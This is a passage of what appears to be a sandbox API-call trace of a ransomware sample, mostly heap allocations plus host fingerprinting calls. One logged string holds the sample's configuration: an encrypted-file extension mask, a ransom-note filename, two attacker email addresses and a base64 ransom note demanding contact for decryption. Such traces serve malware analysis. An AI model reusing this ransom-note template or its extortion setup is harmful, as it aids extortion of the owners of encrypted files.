Flags=0x8, Ptr=0x315b4c0, Size=0x50) returned 0x315b4c0 [0055.976] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x31706c8 [0055.976] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x315b4c0, Size=0x54) returned 0x315b4c0 [0055.976] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3170828 [0055.976] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x315b4c0, Size=0x58) returned 0x315b4c0 [0055.976] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3170848 [0055.976] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x315b4c0, Size=0x5c) returned 0x315c478 [0055.976] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3170868 [0055.976] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x315c478, Size=0x60) returned 0x315c478 [0055.977] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x31708e8 [0055.977] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x315c478, Size=0x64) returned 0x315c478 [0055.977] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3170928 [0055.977] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x315c478, Size=0x68) returned 0x315c478 [0055.977] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3170948 [0055.977] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x315c478, Size=0x6c) returned 0x3162070 [0055.977] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3170968 [0055.977] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3162070, Size=0x70) returned 0x3162070 [0055.977] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3170d88 [0055.977] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3162070, Size=0x74) returned 0x315f368 [0055.977] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3170b48 [0055.977] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x315f368, Size=0x78) returned 0x315f368 [0055.977] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3170b68 [0055.977] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x315f368, Size=0x7c) returned 0x3159e70 [0055.977] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3170bc8 [0055.977] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3159e70, Size=0x80) returned 0x3159e70 [0055.977] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3170a68 [0055.977] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3159e70, Size=0x84) returned 0x3157d40 [0055.977] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3170dc8 [0055.977] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3157d40, Size=0x88) returned 0x3157d40 [0055.977] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3170da8 [0055.977] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3157d40, Size=0x8c) returned 0x315ac58 [0055.977] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3170a88 [0055.977] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x315ac58, Size=0x90) returned 0x315ac58 [0055.977] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3170d68 [0055.977] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x315ac58, Size=0x94) returned 0x315f430 [0055.977] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3170c48 [0055.977] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x315f430, Size=0x98) returned 0x315f430 [0055.977] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3170aa8 [0055.977] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x315f430, Size=0x9c) returned 0x315a508 [0055.977] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3170d28 [0055.977] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x315a508, Size=0xa0) returned 0x315a508 [0055.977] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3170be8 [0055.977] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x315a508, Size=0xa4) returned 0x3153c10 [0055.977] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3170ce8 [0055.977] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3153c10, Size=0xa8) returned 0x3153c10 [0055.977] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3170ae8 [0055.977] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3153c10, Size=0xac) returned 0x315ca90 [0055.978] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3170c28 [0055.978] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x315ca90, Size=0xb0) returned 0x315ca90 [0055.978] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3170d08 [0055.978] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x315ca90, Size=0xb4) returned 0x315ca90 [0055.978] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3170de8 [0055.978] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x315ca90, Size=0xb8) returned 0x315ca90 [0055.978] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3170c88 [0055.978] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x315ca90, Size=0xbc) returned 0x315ca90 [0055.978] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3170d48 [0055.978] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x315ca90, Size=0xc0) returned 0x315ca90 [0055.978] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3170a48 [0055.978] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x315ca90, Size=0xc4) returned 0x315ca90 [0055.978] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3170ba8 [0055.978] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x315ca90, Size=0xc8) returned 0x315ca90 [0055.978] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3170b28 [0055.978] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x315ca90, Size=0xcc) returned 0x315ca90 [0055.978] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3170ac8 [0055.978] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x315ca90, Size=0xd0) returned 0x315ca90 [0055.978] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3170b08 [0055.978] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x315ca90, Size=0xd4) returned 0x315ca90 [0055.978] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3170b88 [0055.978] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x315ca90, Size=0xd8) returned 0x315ca90 [0055.978] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3170c08 [0055.978] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x315ca90, Size=0xdc) returned 0x3160ce0 [0055.978] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3170c68 [0055.978] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3160ce0, Size=0xe0) returned 0x3160ce0 [0055.978] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3170ca8 [0055.978] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3160ce0, Size=0xe4) returned 0x3161ed8 [0055.978] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3170cc8 [0055.978] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3161ed8, Size=0xe8) returned 0x3161ed8 [0055.978] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3168448 [0055.978] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3161ed8, Size=0xec) returned 0x3161ed8 [0055.978] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3171890 [0055.978] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3161ed8, Size=0xf0) returned 0x3161ed8 [0055.978] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3171850 [0055.978] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3161ed8, Size=0xf4) returned 0x315bec8 [0055.978] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3171990 [0055.979] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x315bec8, Size=0xf8) returned 0x315bec8 [0055.979] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x31716d0 [0055.979] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x315bec8, Size=0xfc) returned 0x315bec8 [0055.979] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x31718b0 [0055.979] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x315bec8, Size=0x100) returned 0x315bec8 [0055.979] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x31718d0 [0055.979] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x315bec8, Size=0x104) returned 0x3159bb8 [0055.979] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3171670 [0055.979] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3159bb8, Size=0x108) returned 0x3159bb8 [0055.979] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3171650 [0055.979] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3168790, Size=0x20) returned 0x31688a8 [0055.979] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x31716f0 [0055.979] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x4) returned 0x3166690 [0055.979] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x31718f0 [0055.979] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3166690, Size=0x8) returned 0x31666b0 [0055.979] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3171690 [0055.979] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x31666b0, Size=0xc) returned 0x3161ca0 [0055.979] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3171710 [0055.979] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3161ca0, Size=0x10) returned 0x3161d90 [0055.979] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3171970 [0055.979] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3161d90, Size=0x14) returned 0x3171770 [0055.979] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x31716b0 [0055.979] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3171770, Size=0x18) returned 0x3171930 [0055.979] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x31719b0 [0055.979] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3171930, Size=0x1c) returned 0x3168790 [0055.979] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x31717f0 [0055.979] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3168790, Size=0x20) returned 0x31687e0 [0055.979] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3171730 [0055.979] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x31687e0, Size=0x24) returned 0x3162200 [0055.979] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x31719d0 [0055.979] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3162200, Size=0x28) returned 0x31622c0 [0055.979] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x31717d0 [0055.979] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x31622c0, Size=0x2c) returned 0x315b7b8 [0055.979] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3171750 [0055.979] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x315b7b8, Size=0x30) returned 0x315b7f0 [0055.979] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x31719f0 [0055.979] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x315b7f0, Size=0x34) returned 0x31701b8 [0055.980] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3171950 [0055.980] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x31701b8, Size=0x38) returned 0x316fe38 [0055.980] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3171770 [0055.980] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x316fe38, Size=0x3c) returned 0x3160c08 [0055.980] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3171790 [0055.980] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3160c08, Size=0x40) returned 0x3160ae8 [0055.980] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x31717b0 [0055.980] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3160ae8, Size=0x44) returned 0x3162ab8 [0055.980] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3171810 [0055.980] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3162ab8, Size=0x48) returned 0x31625b8 [0055.980] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3171910 [0055.980] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x31625b8, Size=0x4c) returned 0x315b4c0 [0055.980] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3171830 [0055.980] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x315b4c0, Size=0x50) returned 0x315b4c0 [0055.980] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3171870 [0055.980] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x315b4c0, Size=0x54) returned 0x315b4c0 [0055.980] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3171930 [0055.980] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x315b4c0, Size=0x58) returned 0x315b4c0 [0055.980] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3171630 [0055.980] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x315b4c0, Size=0x5c) returned 0x315c478 [0055.980] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3171450 [0055.980] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x315c478, Size=0x60) returned 0x315c478 [0055.980] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3171470 [0055.980] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x315c478, Size=0x64) returned 0x315c478 [0055.980] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3171590 [0055.980] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x315c478, Size=0x68) returned 0x315c478 [0055.980] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x31714f0 [0055.980] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x315c478, Size=0x6c) returned 0x3162070 [0055.980] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x31714b0 [0055.980] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3162070, Size=0x70) returned 0x3162070 [0055.980] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3171490 [0055.980] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3162070, Size=0x74) returned 0x315f368 [0055.980] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3171530 [0055.980] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x315f368, Size=0x78) returned 0x315f368 [0055.980] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x31714d0 [0055.981] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x315f368, Size=0x7c) returned 0x3159e70 [0055.981] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3171270 [0055.981] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3159e70, Size=0x80) returned 0x3159e70 [0055.981] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3171570 [0055.981] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3159e70, Size=0x84) returned 0x3157d40 [0055.981] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3171350 [0055.981] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3157d40, Size=0x88) returned 0x3157d40 [0055.981] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3171250 [0055.981] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3157d40, Size=0x8c) returned 0x315ac58 [0055.981] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3171610 [0055.981] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x31688a8, Size=0x24) returned 0x31623e0 [0055.981] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x31715f0 [0055.981] strtol (in: _Str="0,\"crmask\":\".mailto[{mail1}].{id}\",\"lfile\":\"{ID}-Readme.txt\",\"mail\":[\"kokoklock@cock.li\",\"pabpabtab@tuta.io\"],\"lend\":\"KysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysNCi0tLQ0KV2hhdCBoYXBwZW4gPw0KLS0tDQoNCllvdXIgZmlsZXMgYXJlIGVuY3J5cHRlZCwgYW5kIGN1cnJlbnRseSB1bmF2YWlsYWJsZS4NCllvdSBjYW4gY2hlY2sgaXQ6IGFsbCBmaWxlcyBvbiB5b3VyIGNvbXB1dGVyIGhhcyBleHBhbnNpb24ge2lkfS4NCkJ5IHRoZSB3YXksIGV2ZXJ5dGhpbmcgaXMgcG9zc2libGUgdG8gcmVjb3ZlciwgYnV0IHlvdSBuZWVkIHRvIGZvbGxvdyBvdXIgaW5zdHJ1Y3Rpb25zLg0KT3RoZXJ3aXNlLCB5b3UgY2FudCByZXR1cm4geW91ciBkYXRhLg0KDQotLS0NCldoYXQgZ3VhcmFudGVlcz8NCi0tLQ0KDQpJdHMganVzdCBhIGJ1c2luZXNzLiBXZSBhYnNvbHV0ZWx5IGRvIG5vdCBjYXJlIGFib3V0IHlvdSBhbmQgeW91ciBkZWFscywgZXhjZXB0IGdldHRpbmcNCmJlbmVmaXRzLiBJZiB3ZSBkbyBub3QgZG8gb3VyIHdvcmsgYW5kIGxpYWJpbGl0aWVzIC0gbm9ib2R5IHdpbGwgbm90IGNvb3BlcmF0ZSB3aXRoIHVzLg0KSXRzIG5vdCBpbiBvdXIgaW50ZXJlc3RzLg0KVG8gY2hlY2sgdGhlIGFiaWxpdHkgb2YgcmV0dXJuaW5nIGZpbGVzLCB5b3Ugc2hvdWxkIHdyaXRlIHRvIHVzIGJ5IGVtYWlsLiANClRoZXJlIHlvdSBjYW4gZGVjcnlwdCBvbmUgZmlsZSBmb3IgZnJlZS4gVGhhdCBpcyBvdXIgZ3VhcmFudGVlLg0KDQotLS0NCkhvdyB0byBjb250YWN0IHdpdGggdXMgPw0KLS0tDQoNCkVtYWlsIHVzOg0KMS57bWFpbDF9DQoyLnttYWlsMn0NCg0KQmUgc3VyZSB0byBpbmNsdWRlIHlvdXIgcGVyc29uYWwgY29kZSBpbiB0aGUgbGV0dGVyOg0Ke2tleV97aWR9Ontjb2RlfX0NCg0KDQoNCg0KDQo=\",} ", _EndPtr=0x2dcf638, _Radix=0 | out: _EndPtr=0x2dcf638*=",\"crmask\":\".mailto[{mail1}].{id}\",\"lfile\":\"{ID}-Readme.txt\",\"mail\":[\"kokoklock@cock.li\",\"pabpabtab@tuta.io\"],\"lend\":\"KysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysNCi0tLQ0KV2hhdCBoYXBwZW4gPw0KLS0tDQoNCllvdXIgZmlsZXMgYXJlIGVuY3J5cHRlZCwgYW5kIGN1cnJlbnRseSB1bmF2YWlsYWJsZS4NCllvdSBjYW4gY2hlY2sgaXQ6IGFsbCBmaWxlcyBvbiB5b3VyIGNvbXB1dGVyIGhhcyBleHBhbnNpb24ge2lkfS4NCkJ5IHRoZSB3YXksIGV2ZXJ5dGhpbmcgaXMgcG9zc2libGUgdG8gcmVjb3ZlciwgYnV0IHlvdSBuZWVkIHRvIGZvbGxvdyBvdXIgaW5zdHJ1Y3Rpb25zLg0KT3RoZXJ3aXNlLCB5b3UgY2FudCByZXR1cm4geW91ciBkYXRhLg0KDQotLS0NCldoYXQgZ3VhcmFudGVlcz8NCi0tLQ0KDQpJdHMganVzdCBhIGJ1c2luZXNzLiBXZSBhYnNvbHV0ZWx5IGRvIG5vdCBjYXJlIGFib3V0IHlvdSBhbmQgeW91ciBkZWFscywgZXhjZXB0IGdldHRpbmcNCmJlbmVmaXRzLiBJZiB3ZSBkbyBub3QgZG8gb3VyIHdvcmsgYW5kIGxpYWJpbGl0aWVzIC0gbm9ib2R5IHdpbGwgbm90IGNvb3BlcmF0ZSB3aXRoIHVzLg0KSXRzIG5vdCBpbiBvdXIgaW50ZXJlc3RzLg0KVG8gY2hlY2sgdGhlIGFiaWxpdHkgb2YgcmV0dXJuaW5nIGZpbGVzLCB5b3Ugc2hvdWxkIHdyaXRlIHRvIHVzIGJ5IGVtYWlsLiANClRoZXJlIHlvdSBjYW4gZGVjcnlwdCBvbmUgZmlsZSBmb3IgZnJlZS4gVGhhdCBpcyBvdXIgZ3VhcmFudGVlLg0KDQotLS0NCkhvdyB0byBjb250YWN0IHdpdGggdXMgPw0KLS0tDQoNCkVtYWlsIHVzOg0KMS57bWFpbDF9DQoyLnttYWlsMn0NCg0KQmUgc3VyZSB0byBpbmNsdWRlIHlvdXIgcGVyc29uYWwgY29kZSBpbiB0aGUgbGV0dGVyOg0Ke2tleV97aWR9Ontjb2RlfX0NCg0KDQoNCg0KDQo=\",} ") returned 0 [0055.981] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x31623e0, Size=0x28) returned 0x31623b0 [0055.981] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3171390 [0055.981] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x31623b0, Size=0x2c) returned 0x315bc18 [0055.981] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x31715b0 [0055.981] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x315bc18, Size=0x30) returned 0x315b7b8 [0055.981] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3171290 [0055.981] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x4) returned 0x3166690 [0055.981] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3171370 [0055.981] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3166690, Size=0x8) returned 0x31666b0 [0055.981] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x31715d0 [0055.981] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x315b7b8, Size=0x34) returned 0x316fcf8 [0055.981] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x31712d0 [0055.981] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x31666a0) returned 1 [0055.981] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3168428) returned 1 [0055.982] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x34) returned 0x316fa38 [0055.982] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x44) returned 0x31626f8 [0055.982] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc4) returned 0x315ca90 [0055.982] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3166680) returned 1 [0055.982] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x60) returned 0x315c478 [0055.982] GetVersion () returned 0x3ad7000a [0055.982] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x315c480 | out: Wow64Process=0x315c480) returned 1 [0055.984] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x21) returned 0x3162200 [0055.985] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x384) returned 0x3171a28 [0056.189] GetComputerNameExW (in: NameType=0x0, lpBuffer=0x0, nSize=0x2dcf5f0 | out: lpBuffer=0x0, nSize=0x2dcf5f0) returned 0 [0056.189] GetLastError () returned 0xea [0056.189] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x10) returned 0x3161d18 [0056.189] GetComputerNameExW (in: NameType=0x0, lpBuffer=0x3161d18, nSize=0x2dcf5f0 | out: lpBuffer="NQDPDE", nSize=0x2dcf5f0) returned 1 [0056.189] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xf4) returned 0x315bec8 [0056.189] GetCurrentHwProfileW (in: lpHwProfileInfo=0x315bec8 | out: lpHwProfileInfo=0x315bec8) returned 1 [0056.190] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x70) returned 0x3162070 [0056.190] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x20) returned 0x3168880 [0056.190] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3168880) returned 1 [0056.190] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x20) returned 0x3168948 [0056.190] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x20) returned 0x3168790 [0056.190] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3168790) returned 1 [0056.190] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x41) returned 0x3162ba8 [0056.191] sprintf (in: _Dest=0x3162ba8, _Format="%0.2x" | out: _Dest="d0") returned 2 [0056.191] sprintf (in: _Dest=0x3162baa, _Format="%0.2x" | out: _Dest="e7") returned 2 [0056.191] sprintf (in: _Dest=0x3162bac, _Format="%0.2x" | out: _Dest="31") returned 2 [0056.191] sprintf (in: _Dest=0x3162bae, _Format="%0.2x" | out: _Dest="38") returned 2 [0056.191] sprintf (in: _Dest=0x3162bb0, _Format="%0.2x" | out: _Dest="58") returned 2 [0056.191] sprintf (in: _Dest=0x3162bb2, _Format="%0.2x" | out: _Dest="e3") returned 2 [0056.191] sprintf (in: _Dest=0x3162bb4, _Format="%0.2x" | out: _Dest="f9") returned 2 [0056.191] 